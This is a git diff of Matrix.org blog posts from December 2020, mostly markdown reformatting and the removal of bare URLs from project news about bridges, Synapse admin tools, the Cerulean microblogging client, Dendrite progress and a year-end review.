about how we made it and some more technical details, the blog post is a great read: https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix +> If you didn't catch it already, we did a full announcement this week for Gitter now speaking Matrix 🎉! If you're curious about how we made it and some more technical details, the blog post is a great read: > > In terms of bridge progress, we added support for `m.emote` status messages which means your `/me says hi` messages will bridge back and forth properly. On the Gitter side, we fixed the browser notifications so they show properly from the `virtualUser` instead of the generic `matrixbot`. - - ### mautrix-instagram [Tulir](https://matrix.to/#/@tulir:maunium.net) offered: -> I made an Instagram DM bridge: https://github.com/tulir/mautrix-instagram / [#instagram:maunium.net](https://matrix.to/#/#instagram:maunium.net) +> I made an Instagram DM bridge: / [#instagram:maunium.net](https://matrix.to/#/#instagram:maunium.net) > > It's a bit barebones still, but text bridging and backfilling works. The main advantage over mx-puppet-instagram is that it uses the realtime MQTT API instead of polling. @@ -138,31 +137,31 @@ There was a second update from tulir, he added more features as of today: Compiled by the team -- Spaces +* Spaces - - We’re making more progress on implementing Spaces.. On Web, we’ve made progress on creating spaces and switching between them. On mobile, we’ve laid down the foundations in the Android SDK. If you missed it, we gave a preview in this weeks [Open Tech Will Save Us](https://matrix.org/open-tech-will-save-us/9). -- Social login + * We’re making more progress on implementing Spaces.. On Web, we’ve made progress on creating spaces and switching between them. On mobile, we’ve laid down the foundations in the Android SDK. If you missed it, we gave a preview in this weeks [Open Tech Will Save Us](https://matrix.org/open-tech-will-save-us/9). +* Social login - - We’ve been working on server-side support in synapse for picking an MXID during login with SSO, and also implementing support in iOS to gain parity with Android & Web, to launch together in future. -- VoIP + * We’ve been working on server-side support in synapse for picking an MXID during login with SSO, and also implementing support in iOS to gain parity with Android & Web, to launch together in future. +* VoIP - - We’ve been working on implementing hold & resume (line 1 / 2) support on Web, iOS & Android. Web has something sneak previewable on [develop.element.io](vector://vector/webapp/develop.element.io)! + * We’ve been working on implementing hold & resume (line 1 / 2) support on Web, iOS & Android. Web has something sneak previewable on [develop.element.io](vector://vector/webapp/develop.element.io)! #### Web -- Element Web 1.7.15 released - - Improved voice / video call UI - - Notifications are now ignored from rooms you've been active in recently - - Login / registration flows redirect inside the app if you are already logged in -- JS SDK browser build steps now only run on release (instead of every install) to save time +* Element Web 1.7.15 released + * Improved voice / video call UI + * Notifications are now ignored from rooms you've been active in recently + * Login / registration flows redirect inside the app if you are already logged in +* JS SDK browser build steps now only run on release (instead of every install) to save time #### Android -- URL Previews are coming in the next release! There will also be a brand new Emoji keyboard accessible from the timeline composer. +* URL Previews are coming in the next release! There will also be a brand new Emoji keyboard accessible from the timeline composer. ##### iOS -- The new background service has been merged. Messages from notifications will be displayed faster within the app. A TestFlight build for testing will be available tomorrow. +* The new background service has been merged. Messages from notifications will be displayed faster within the app. A TestFlight build for testing will be available tomorrow. ## Dept of Ops 🛠 @@ -174,9 +173,9 @@ Compiled by the team > > Admin API coverage is currently about 50%, mostly focusing on users and rooms management (get, list, update, delete). It is still enough to delete a user, edit an offensive avatar, or run as a cron to periodically purge remote media. > -> Our main repository: https://forge.tedomum.net/tedomum/axon +> Our main repository: > -> Github project mirror for contributing: https://github.com/kaiyou/axon +> Github project mirror for contributing: I asked if there was a GUI: @@ -190,15 +189,15 @@ Sounds promising! Synapse Admin would benefit from this kind of tooling... [jojo](https://matrix.to/#/@jojo:peek-a-boo.at) told us: -> Well, maybe it's about time for "synadm - a CLI frontend to Matrix-Synapse admin APIs" to be announced more officially. As the name implies it's a CLI tool that eases the usage of admin API commands for Synapse admins. It currently covers everything the room and user API's can do: https://github.com/JOJ0/synadm#implementation-status--commands-list +> Well, maybe it's about time for "synadm - a CLI frontend to Matrix-Synapse admin APIs" to be announced more officially. As the name implies it's a CLI tool that eases the usage of admin API commands for Synapse admins. It currently covers everything the room and user API's can do: > -> It can be configured interactively and/or using a config file in yaml format: https://github.com/JOJ0/synadm#configuration +> It can be configured interactively and/or using a config file in yaml format: > > It's configurable whether the responds of the API are shown in pretty printed JSON or in a table format (using Python tabulate). > > It's well documented via it's online help and supposed to be quite self-explanatory to the admin. > -> Any thoughts, ideas, feature-requests are very welcome in [#synadm:peek-a-boo.at](https://matrix.to/#/#synadm:peek-a-boo.at) or as usual by filing PR's or issues in the project repo https://github.com/JOJ0/synadm. +> Any thoughts, ideas, feature-requests are very welcome in [#synadm:peek-a-boo.at](https://matrix.to/#/#synadm:peek-a-boo.at) or as usual by filing PR's or issues in the project repo . ## Dept of Bots 🤖 @@ -209,7 +208,7 @@ Sounds promising! Synapse Admin would benefit from this kind of tooling... > This one might be interesting to those participating in [Advent of Code 2020](https://adventofcode.com/): > > I made a (quick and dirty) bot that posts whenever somebody on a private leaderboard solves a challenge. -> https://gitlab.com/AsbjornOlling/aocbot +> > > I imagine that we're not the only private AoC Matrix room around, so I figured I'd share - even though it's not anything particularly remarkable 👨‍💻 @@ -225,13 +224,13 @@ Sounds promising! Synapse Admin would benefit from this kind of tooling... > > Thanks benpa and Half-Shot for your support! ❤️ > -> ▶️ Check it out: https://www.youtube.com/watch?v=cD8xbci4wAY +> ▶️ Check it out: ### NLUUG talk from Matthew [Matthew](https://matrix.to/#/@matthew:matrix.org) offered: -> I gave a talk to NLUUG the other week: https://www.youtube.com/watch?v=gY2PCKEaKlM +> I gave a talk to NLUUG the other week: ## Dept of Ping 🏓 diff --git a/content/blog/2020/12/2020-12-15-dendrite-2020-progress-update.md b/content/blog/2020/12/2020-12-15-dendrite-2020-progress-update.md index 372779cf6..b75d4ee38 100644 --- a/content/blog/2020/12/2020-12-15-dendrite-2020-progress-update.md +++ b/content/blog/2020/12/2020-12-15-dendrite-2020-progress-update.md @@ -76,7 +76,7 @@ Dendrite's [Sytest](https://github.com/matrix-org/sytest) compliance sits at: * **83%** compliance for Server-Server APIs, up from 26% in May 2020 As you can see, these are significant leaps in the numbers of tests passing against -Dendrite. +Dendrite. ## Experimental MSCs diff --git a/content/blog/2020/12/2020-12-18-introducing-cerulean.md b/content/blog/2020/12/2020-12-18-introducing-cerulean.md index 35b2303bb..6f538ba03 100644 --- a/content/blog/2020/12/2020-12-18-introducing-cerulean.md +++ b/content/blog/2020/12/2020-12-18-introducing-cerulean.md @@ -22,49 +22,49 @@ It turns out the answer is a firm “yes” - and as a result we’d like to pre Cerulean is unusual in many ways: -* It’s (currently) [a very minimal javascript app](https://github.com/matrix-org/cerulean) - only 2,500 lines of code. -* It has zero dependencies (other than React). - * This is to show just how simple a fairly sophisticated Matrix client can be... - * ...and so the code can be easily understood by folks unfamiliar with Matrix... - * ...and so we can iterate fast while figuring out threading... - * ...and because none of the SDKs support threading yet :D -* It relies on [MSC2836: Threading](https://github.com/matrix-org/matrix-doc/pull/2836) - our highly experimental Matrix Spec Change to extend relationships (as used by reaction & edit aggregations) to support free-form arbitrary depth threading. -* As such, **it only works on Dendrite**, as that’s where we’ve been experimenting with implementing MSC2836. (We’re now running an [official public Dendrite server instance](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) at dendrite.matrix.org though, which makes it easy to test - and our test Cerulean instance [https://cerulean.matrix.org](https://cerulean.matrix.org) points at it by default). +* It’s (currently) [a very minimal javascript app](https://github.com/matrix-org/cerulean) - only 2,500 lines of code. +* It has zero dependencies (other than React). + * This is to show just how simple a fairly sophisticated Matrix client can be... + * ...and so the code can be easily understood by folks unfamiliar with Matrix... + * ...and so we can iterate fast while figuring out threading... + * ...and because none of the SDKs support threading yet :D +* It relies on [MSC2836: Threading](https://github.com/matrix-org/matrix-doc/pull/2836) - our highly experimental Matrix Spec Change to extend relationships (as used by reaction & edit aggregations) to support free-form arbitrary depth threading. +* As such, **it only works on Dendrite**, as that’s where we’ve been experimenting with implementing MSC2836. (We’re now running an [official public Dendrite server instance](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) at dendrite.matrix.org though, which makes it easy to test - and our test Cerulean instance [https://cerulean.matrix.org](https://cerulean.matrix.org) points at it by default). -This is **very much a proof of concept. **We’re releasing it today as a sneak preview so that intrepid Matrix experimenters can play with it, and to open up the project for contributions! (PRs welcome - it should be dead easy to hack on!). Also, we give no guarantees about data durability: both Cerulean and dendrite.matrix.org are highly experimental; do not trust them yet with important data; we reserve the right to delete it all while we iterate on the design. +This is **very much a proof of concept.**We’re releasing it today as a sneak preview so that intrepid Matrix experimenters can play with it, and to open up the project for contributions! (PRs welcome - it should be dead easy to hack on!). Also, we give no guarantees about data durability: both Cerulean and dendrite.matrix.org are highly experimental; do not trust them yet with important data; we reserve the right to delete it all while we iterate on the design. ### What can it do? So for the first cut, we’ve implemented the minimal features to make this something you can just about use and play with for real :) -* Home view (showing recent posts from folks you follow) -* Timeline view (showing the recent posts or replies from a given user) -* Thread view (showing a post and its replies as a thread) -* Live updating (It’s Matrix, after all! We’ve disabled it for guests though.) -* Posting plain text and images -* Fully decentralised thanks to Matrix (assuming you’re on Dendrite) -* Twitter-style “Vertical” threading (replies form a column; you indent when someone forks the conversation) -* HN/Reddit/Email-style “Horizontal” threading (each reply is indented; forks have the same indentation) -* Basic Registration & Login -* Guest support (slightly faked with non-guest users, as Dendrite’s guest support isn’t finished yet) -* Super-experimental proof-of-concept support for [decentralised reputation filtering](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors)(!) +* Home view (showing recent posts from folks you follow) +* Timeline view (showing the recent posts or replies from a given user) +* Thread view (showing a post and its replies as a thread) +* Live updating (It’s Matrix, after all! We’ve disabled it for guests though.) +* Posting plain text and images +* Fully decentralised thanks to Matrix (assuming you’re on Dendrite) +* Twitter-style “Vertical” threading (replies form a column; you indent when someone forks the conversation) +* HN/Reddit/Email-style “Horizontal” threading (each reply is indented; forks have the same indentation) +* Basic Registration & Login +* Guest support (slightly faked with non-guest users, as Dendrite’s guest support isn’t finished yet) +* Super-experimental proof-of-concept support for [decentralised reputation filtering](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors)(!) Obviously, there’s a huge amount of stuff needed for parity with a proper Twitter-style system: -* Configurable follows. Currently the act of viewing someone’s timeline automatically follows them. This is because Dendrite doesn’t peek over federation yet (but [it’s close](https://github.com/matrix-org/dendrite/pull/1391)), so you have to join a room to view its contents - and the act of viewing someone’s timeline room is how you follow them in Cerulean. -* Likes (i.e. plain old Matrix reactions, although we might need to finally sort out federating them as aggregations rather than individually, if people use them like they use them on Twitter!) -* Retweets (dead easy) -* Pagination / infinite scrolling (just need to hook it up) -* Protect your posts (dead easy; you just switch your timeline room to invite-only!) -* Show (some) replies to messages in the Home view -* Show parent and sibling context as well as child context in the Thread view -* Mentions (we need to decide how to notify folks when they’re mentioned - perhaps Matrix’s push notifications should be extended to let you subscribe to keywords for public rooms you’re not actually in?) -* Notifications (although this is just because Dendrite doesn’t do notifs yet) -* Search (again, just needs to be implemented in Dendrite - although how do you search beyond the data in your current homeserver? Folks are used to global search) -* Hashtags (it’s just search, basically) -* Symlinks (see below) -* Figure out how to handle lost unthreaded messages (see below) -* Offline support? (if we were using a proper Matrix SDK, we’d hopefully get this for free, but currently Cerulean doesn’t store any state locally at all). +* Configurable follows. Currently the act of viewing someone’s timeline automatically follows them. This is because Dendrite doesn’t peek over federation yet (but [it’s close](https://github.com/matrix-org/dendrite/pull/1391)), so you have to join a room to view its contents - and the act of viewing someone’s timeline room is how you follow them in Cerulean. +* Likes (i.e. plain old Matrix reactions, although we might need to finally sort out federating them as aggregations rather than individually, if people use them like they use them on Twitter!) +* Retweets (dead easy) +* Pagination / infinite scrolling (just need to hook it up) +* Protect your posts (dead easy; you just switch your timeline room to invite-only!) +* Show (some) replies to messages in the Home view +* Show parent and sibling context as well as child context in the Thread view +* Mentions (we need to decide how to notify folks when they’re mentioned - perhaps Matrix’s push notifications should be extended to let you subscribe to keywords for public rooms you’re not actually in?) +* Notifications (although this is just because Dendrite doesn’t do notifs yet) +* Search (again, just needs to be implemented in Dendrite - although how do you search beyond the data in your current homeserver? Folks are used to global search) +* Hashtags (it’s just search, basically) +* Symlinks (see below) +* Figure out how to handle lost unthreaded messages (see below) +* Offline support? (if we were using a proper Matrix SDK, we’d hopefully get this for free, but currently Cerulean doesn’t store any state locally at all). ### How does it work? diff --git a/content/blog/2020/12/2020-12-18-this-week-in-matrix-2020-12-18.md b/content/blog/2020/12/2020-12-18-this-week-in-matrix-2020-12-18.md index 73a2b70ab..bf8519d9a 100644 --- a/content/blog/2020/12/2020-12-18-this-week-in-matrix-2020-12-18.md +++ b/content/blog/2020/12/2020-12-18-this-week-in-matrix-2020-12-18.md @@ -34,7 +34,7 @@ So, now you need to watch the video to make sense of this image! [Matthew](https://matrix.to/#/@matthew:matrix.org) reported: -> Introducing Cerulean - highly experimental threaded microblogging for Matrix. Read all about it at https://matrix.org/blog/2020/12/18/introducing-cerulean +> Introducing Cerulean - highly experimental threaded microblogging for Matrix. Read all about it at Cerulean [is being discussed on the front page of Hacker News](https://news.ycombinator.com/item?id=25467545). @@ -48,20 +48,20 @@ The last set of [community demos](https://matrix.org/blog/2020/11/20/this-week-i [wbamberg](https://matrix.to/#/@wbamberg:matrix.org) said: -> The spec core team has been trying out the new spec this week to decide if it's ready to ship. And we've been applying Dean's design updates (currently in a separate branch at https://friendly-yonath-3de225.netlify.app/). +> The spec core team has been trying out the new spec this week to decide if it's ready to ship. And we've been applying Dean's design updates (currently in a separate branch at ). ### Spec [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **Closed MSCs:** > > * [MSC2912: Setting cross-signing keys during registration](https://github.com/matrix-org/matrix-doc/pull/2912) -> * Withdrawn with promise of a better solution in the future. +> * Withdrawn with promise of a better solution in the future. > > #### Spec Core Team > @@ -69,8 +69,6 @@ The last set of [community demos](https://matrix.org/blog/2020/11/20/this-week-i > > But first week of January will be [MSC2844](https://github.com/matrix-org/matrix-doc/issues/2844), [MSC2366](https://github.com/matrix-org/matrix-doc/issues/2366) (ready and done in key verification) and [MSC2790](https://github.com/matrix-org/matrix-doc/issues/2790) (modal widgets). - - ![2020-12-18-7E797-stacked_area_chart.png](/blog/img/2020-12-18-7E797-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -140,7 +138,7 @@ Synapse is a popular homeserver written in Python. ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) said: @@ -206,27 +204,27 @@ This is now almost feature complete! Nice one Tulir. Compiled by the team. * Spaces - * We’ve been [progressing spaces on Web](https://github.com/vector-im/element-web/issues/15930), focusing on managing spaces, members and rooms. Meanwhile, we’ve also been iterating on designs for all platforms. + * We’ve been [progressing spaces on Web](https://github.com/vector-im/element-web/issues/15930), focusing on managing spaces, members and rooms. Meanwhile, we’ve also been iterating on designs for all platforms. * Social login - * Synapse support for picking a username should be [landing in develop today](https://github.com/matrix-org/synapse/pull/8942) focusing next on supporting multiple identity providers. On iOS, we’ve implemented SSO redirect authentication mechanisms which also should land soon. + * Synapse support for picking a username should be [landing in develop today](https://github.com/matrix-org/synapse/pull/8942) focusing next on supporting multiple identity providers. On iOS, we’ve implemented SSO redirect authentication mechanisms which also should land soon. * VoIP - * We’ve been making progress all round on all platforms, with the next web release including improvements to holding & resuming calls and multiple line support! + * We’ve been making progress all round on all platforms, with the next web release including improvements to holding & resuming calls and multiple line support! #### Web -* 1.7.16-rc.1 available on staging - * Added ability to put a VoIP call on hold and answer another - * Added a special visual effect for confetti - * Improved the login flow -* Investigating changelog options in the background +* 1.7.16-rc.1 available on staging + * Added ability to put a VoIP call on hold and answer another + * Added a special visual effect for confetti + * Improved the login flow +* Investigating changelog options in the background #### Android -* Element Android 1.0.13 has been released: URL Preview, new Emoji keyboard, new room settings capabilities, and snow for Christmas! Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.0.12](https://github.com/vector-im/element-android/releases/tag/v1.0.12) and [https://github.com/vector-im/element-android/releases/tag/v1.0.13](https://github.com/vector-im/element-android/releases/tag/v1.0.13) +* Element Android 1.0.13 has been released: URL Preview, new Emoji keyboard, new room settings capabilities, and snow for Christmas! Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.0.12](https://github.com/vector-im/element-android/releases/tag/v1.0.12) and [https://github.com/vector-im/element-android/releases/tag/v1.0.13](https://github.com/vector-im/element-android/releases/tag/v1.0.13) #### iOS -* We’re prepping [1.1.3](https://github.com/vector-im/element-ios/pull/3888) after ironing out final kinks relating to the new background service, hoping to release before Christmas. +* We’re prepping [1.1.3](https://github.com/vector-im/element-ios/pull/3888) after ironing out final kinks relating to the new background service, hoping to release before Christmas. ### Nheko @@ -253,18 +251,16 @@ Compiled by the team. > > * Settings for layouts work, so you can also use SchildiChat if you only want the unified overview and no message bubbles > -> * All information about desktop is now on our new website: https://schildi.chat/desktop -> * The hosted instance is now here: https://app.schildi.chat +> * All information about desktop is now on our new website: +> * The hosted instance is now here: > > * For Linux, SchildiChat is now available from AUR, apt repo for debian, flathub and as AppImage > * There's a portable Windows version now too > -> Code on GitHub: https://github.com/SchildiChat/schildichat-desktop +> Code on GitHub: > > Matrix room: [#schildichat-web:matrix.org](https://matrix.to/#/#schildichat-web:matrix.org) - - ![2020-12-18-bIasy-2.png](/blog/img/2020-12-18-bIasy-2.png) ### FluffyChat @@ -292,8 +288,6 @@ Compiled by the team. > > Also we are looking forward to publish the app in the AppStore for iOS but we will do this under the hood of Famedly. Btw. FluffyChat will soon move to the Famedly GitLab project and we will move the app in the PlayStore to the Famedly account too. This doesn't mean that anything will change there. It is just that Famedly will now handle the legal stuff for us and may offer paid customer support for businesses, which have interest in FluffyChat. But the app will still be available under the same AGPL3 license. This will just make it easier for us to publish the app in the official stores as we don't need to pay so much for the developer accounts. - - ![2020-12-18-JruOC-screenshot_20201218-144554.png](/blog/img/2020-12-18-JruOC-screenshot_20201218-144554.png) ## Dept of Bots 🤖 @@ -302,11 +296,12 @@ Compiled by the team. [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) reported: -> Find it at: https://gitlab.com/famedly/bots/timetracking or join us at [#timetracking-bot:famedly.de](https://matrix.to/#/#timetracking-bot:famedly.de) +> Find it at: or join us at [#timetracking-bot:famedly.de](https://matrix.to/#/#timetracking-bot:famedly.de) > > Numerous new features and fixes arrived this week. Getting closer to production readiness. Famedly also started daily internal testing for the bot to find more issues and fixing them. > > #### [v0.1.5](https://gitlab.com/famedly/bots/timetracking/-/releases/v0.1.5) +> > #### New Features > > * Implement !setTimezoneDefault @@ -318,6 +313,7 @@ Compiled by the team. > * Add !stats command > > * Use Unix timestamps in database (migrated automatically) +> > #### Fixes > > * Make sure Version sha actually gets generated in CI diff --git a/content/blog/2020/12/2020-12-25-the-matrix-holiday-special-2020.md b/content/blog/2020/12/2020-12-25-the-matrix-holiday-special-2020.md index 8a73b8a45..605278623 100644 --- a/content/blog/2020/12/2020-12-25-the-matrix-holiday-special-2020.md +++ b/content/blog/2020/12/2020-12-25-the-matrix-holiday-special-2020.md @@ -16,26 +16,26 @@ Over the years it’s become a tradition to write an end-of-year wrap-up on Chri Looking back at our [plans for 2020](https://matrix.org/blog/2019/12/24/the-2019-matrix-holiday-update#2020) in last year’s wrap-up, amazingly it seems we pretty much achieved what we set out to do. Going through the bulletpoints in order: -* We [turned on End-to-end Encryption by default](https://matrix.org/blog/2020/05/06/cross-signing-and-end-to-end-encryption-by-default-is-here). -* We have a dedicated team making major improvements to First-Time User Experience in Element (as of the last few months; hopefully you’ve been noticing the improvements!) -* [RiotX became Element Android and shipped](https://element.io/blog/welcome-to-element/). -* Communities have been completely reinvented as [Spaces](https://youtu.be/_Ade0FZfnWo?t=39) ([MSC1772](https://github.com/matrix-org/matrix-doc/commits/matthew/msc1772/proposals/1772-groups-as-rooms.md)) and while in alpha currently, they should ship in Jan. -* [Synapse scalability is fixed](https://matrix.org/blog/2020/11/03/how-we-fixed-synapses-scalability): we now shard horizontally by event - and Synapse is now pretty much [entirely async/await](https://patrick.cloke.us/areweasyncyet/)! -* [Dendrite Beta shipped](https://matrix.org/blog/2020/10/08/dendrite-is-entering-beta/), as did the [initial P2P Matrix experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/), which have subsequently continued to evolve significantly (although we haven’t implemented [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) or [MSC2787](https://github.com/matrix-org/matrix-doc/blob/neilalexander/identities/proposals/2787-portable-identities.md) portable accounts yet). Check out the [Dendrite end-of-year update](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) for more. -* [MLS experiments are in full swing](https://youtu.be/_Ade0FZfnWo?t=939) - we got the first MLS messages passing over Matrix a few days ago, and Decentralised MLS work is back on the menu after an initial sprint in May. -* There’s been a valiant mission to improve Bridge UX in the form of [MSC2346](https://github.com/matrix-org/matrix-doc/pull/2346) and its implementations in Element Web, although this has ended up failing to get to the top of the todo list (sorry Half-Shot! :/) -* Spec progress has improved somewhat, and we are very excited to have welcomed Will Bamberg (formerly MDN) to support the spec from a professional tech writer perspective, with [the all-new engine](https://friendly-yonath-3de225.netlify.app/) landing any day now! We’re still experimenting with ways to ensure the spec gets enough time allocated to keep up with the backlog, however - particularly community contributions. -* ...and in terms of Abuse/Reputation - we properly [kicked off our anti-abuse work](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors) and launched a first PoC implementation in the depths of [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button) last week. +* We [turned on End-to-end Encryption by default](https://matrix.org/blog/2020/05/06/cross-signing-and-end-to-end-encryption-by-default-is-here). +* We have a dedicated team making major improvements to First-Time User Experience in Element (as of the last few months; hopefully you’ve been noticing the improvements!) +* [RiotX became Element Android and shipped](https://element.io/blog/welcome-to-element/). +* Communities have been completely reinvented as [Spaces](https://youtu.be/_Ade0FZfnWo?t=39) ([MSC1772](https://github.com/matrix-org/matrix-doc/commits/matthew/msc1772/proposals/1772-groups-as-rooms.md)) and while in alpha currently, they should ship in Jan. +* [Synapse scalability is fixed](https://matrix.org/blog/2020/11/03/how-we-fixed-synapses-scalability): we now shard horizontally by event - and Synapse is now pretty much [entirely async/await](https://patrick.cloke.us/areweasyncyet/)! +* [Dendrite Beta shipped](https://matrix.org/blog/2020/10/08/dendrite-is-entering-beta/), as did the [initial P2P Matrix experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/), which have subsequently continued to evolve significantly (although we haven’t implemented [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) or [MSC2787](https://github.com/matrix-org/matrix-doc/blob/neilalexander/identities/proposals/2787-portable-identities.md) portable accounts yet). Check out the [Dendrite end-of-year update](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) for more. +* [MLS experiments are in full swing](https://youtu.be/_Ade0FZfnWo?t=939) - we got the first MLS messages passing over Matrix a few days ago, and Decentralised MLS work is back on the menu after an initial sprint in May. +* There’s been a valiant mission to improve Bridge UX in the form of [MSC2346](https://github.com/matrix-org/matrix-doc/pull/2346) and its implementations in Element Web, although this has ended up failing to get to the top of the todo list (sorry Half-Shot! :/) +* Spec progress has improved somewhat, and we are very excited to have welcomed Will Bamberg (formerly MDN) to support the spec from a professional tech writer perspective, with [the all-new engine](https://friendly-yonath-3de225.netlify.app/) landing any day now! We’re still experimenting with ways to ensure the spec gets enough time allocated to keep up with the backlog, however - particularly community contributions. +* ...and in terms of Abuse/Reputation - we properly [kicked off our anti-abuse work](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors) and launched a first PoC implementation in the depths of [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button) last week. Perhaps more interesting is the stuff we didn’t predict (or at least didn’t want to pre-announce ;) for 2020: -* Riot, Modular and New Vector got unified at last behind a single name: [Element](https://element.io/blog/welcome-to-element/); hopefully the shock has worn off by now :) -* [Mozilla joined Matrix](https://matrix.org/blog/2020/03/03/moznet-irc-is-dead-long-live-mozilla-matrix) in force, turning off Moznet IRC in favour of going full Matrix. -* [We welcomed Gitter](https://matrix.org/blog/2020/09/30/welcoming-gitter-to-matrix) into the heart of the Matrix ecosystem (with [Element acquiring Gitter](https://element.io/blog/gitter-is-joining-element/) from [Gitlab](https://about.gitlab.com/blog/2020/09/30/gitter-moves-to-element/) in order to ensure Gitter’s Matrix integration acts as a reference for integrating future chat silos into Matrix) - with [native Matrix support in Gitter](https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix) going live shortly afterwards. -* [Automattic](https://matrix.org/blog/2020/05/21/welcoming-automattic-to-matrix) launched itself into the Matrix ecosystem with an investment in Element, and since then we’ve been working on getting Matrix better integrated and available to them (although all of Element’s Matrix-for-governments activity has ended up delaying this a bit). If you want to work for Automattic on integrating Matrix, [they’re hiring](https://automattic.com/work-with-us/matrix-integrations-engineer/)! -* We previewed [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean) as a super-exciting proof-of-concept client, demonstrating how social media could work on Matrix, with native threading, profiles-as-rooms, decentralised reputation, and (shortly) peeking-over-federation. -* [We completely rewrote matrix.to](https://matrix.org/blog/2020/12/17/matrix-to-reloaded) and relaunched it as a much more capable and friendly permalink redirection service; a precursor to finally getting matrix:// URLs everywhere! -* We certainly didn’t predict that the “[how to install Synapse](https://matrix.org/blog/2020/04/06/running-your-own-secure-communication-service-with-matrix-and-jitsi)” video tutorial published at the beginning of the COVID-19 pandemic would end up with 25.5K views (and counting…) +* Riot, Modular and New Vector got unified at last behind a single name: [Element](https://element.io/blog/welcome-to-element/); hopefully the shock has worn off by now :) +* [Mozilla joined Matrix](https://matrix.org/blog/2020/03/03/moznet-irc-is-dead-long-live-mozilla-matrix) in force, turning off Moznet IRC in favour of going full Matrix. +* [We welcomed Gitter](https://matrix.org/blog/2020/09/30/welcoming-gitter-to-matrix) into the heart of the Matrix ecosystem (with [Element acquiring Gitter](https://element.io/blog/gitter-is-joining-element/) from [Gitlab](https://about.gitlab.com/blog/2020/09/30/gitter-moves-to-element/) in order to ensure Gitter’s Matrix integration acts as a reference for integrating future chat silos into Matrix) - with [native Matrix support in Gitter](https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix) going live shortly afterwards. +* [Automattic](https://matrix.org/blog/2020/05/21/welcoming-automattic-to-matrix) launched itself into the Matrix ecosystem with an investment in Element, and since then we’ve been working on getting Matrix better integrated and available to them (although all of Element’s Matrix-for-governments activity has ended up delaying this a bit). If you want to work for Automattic on integrating Matrix, [they’re hiring](https://automattic.com/work-with-us/matrix-integrations-engineer/)! +* We previewed [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean) as a super-exciting proof-of-concept client, demonstrating how social media could work on Matrix, with native threading, profiles-as-rooms, decentralised reputation, and (shortly) peeking-over-federation. +* [We completely rewrote matrix.to](https://matrix.org/blog/2020/12/17/matrix-to-reloaded) and relaunched it as a much more capable and friendly permalink redirection service; a precursor to finally getting matrix:// URLs everywhere! +* We certainly didn’t predict that the “[how to install Synapse](https://matrix.org/blog/2020/04/06/running-your-own-secure-communication-service-with-matrix-and-jitsi)” video tutorial published at the beginning of the COVID-19 pandemic would end up with 25.5K views (and counting…) Then, there’s whole new waves of exciting stuff going on. The most obvious has to be the amount of Government uptake we’ve seen with Matrix this year, following on from [France embracing Matrix](https://joinup.ec.europa.eu/collection/open-source-observatory-osor/document/french-government-launches-house-developed-messaging-service-tchap) across the public sector last year. Firstly the German armed forces announced their [transition to Matrix](https://www.bwi.de/news-blog/news/artikel/open-source-matrix-ist-einheitlicher-messenger-standard-fuer-die-bundeswehr), and then the German states of Schleswig-Holstein and Hamburg announced a [mammoth 500K user Matrix deployment](https://sifted.eu/articles/element-germany-deal/) for education and public administration. Meanwhile, North Rhine Westphalia (the biggest state in Germany) launched their own Matrix-powered [messager for education](https://www.logineo.schulministerium.nrw.de/LOGINEO-NRW/NEU-LOGINEO-NRW-Messenger/Messenger.html); loads of different universities have rolled out Matrix for collaboration - and we hear [Famedly](https://famedly.com) is [making good progress](https://www.businessinsider.de/gruenderszene/health/famedly-kommunikation-app-gesundheitswesen/) with Matrix-powered healthcare messaging solutions. Finally, outside of Germany, we’re seeing the first official deployments in the UK government and US federal government - we’ll share details where possible (but sometimes big deployments of encrypted communication systems want to remain discreet). It’s incredibly exciting to see Matrix spreading across the public sector and education, and we’re hoping this will follow a similar pattern to how the Internet, email or indeed the Web first developed: a mix of high profile public sector deployments, complemented by a passionate grass-roots technical community, eventually spreading to span the rest of society :). @@ -65,21 +65,21 @@ Anyway, enough Space scifi - what’s coming up in 2021? Our current hit list is: -* **Spaces** - see above :) -* **Social Login** - we’re going to be making Single Sign On (SSO) a proper first-class citizen in Matrix (and Synapse and Element) in the coming weeks, and enabling it on the matrix.org homeserver, so users can do single-click logins via Github/Gitlab/Google and other SSO providers. Obviously this means your Matrix identity will be beholden to your identity provider (IdP), but this may well be preferable for many users who just want a single-click way to enter Matrix and don’t care about being tied to a given IdP. -* **VoIP** - we have a *lot* of work in flight at the moment to make 1:1 VoIP super robust. Some of it has already landed in Element, but the rest will land in the coming weeks - and then we’re hoping to revisit Matrix-native group voice/video. -* **Voice messaging** - we’re hoping to finally add voice messaging to Element (and Matrix) -* **Location sharing** - ...and this too. -* **P2P **- Lots of P2P work on the horizon, now Dendrite is increasingly stable. First of all we need to iterate more on Pinecone, our 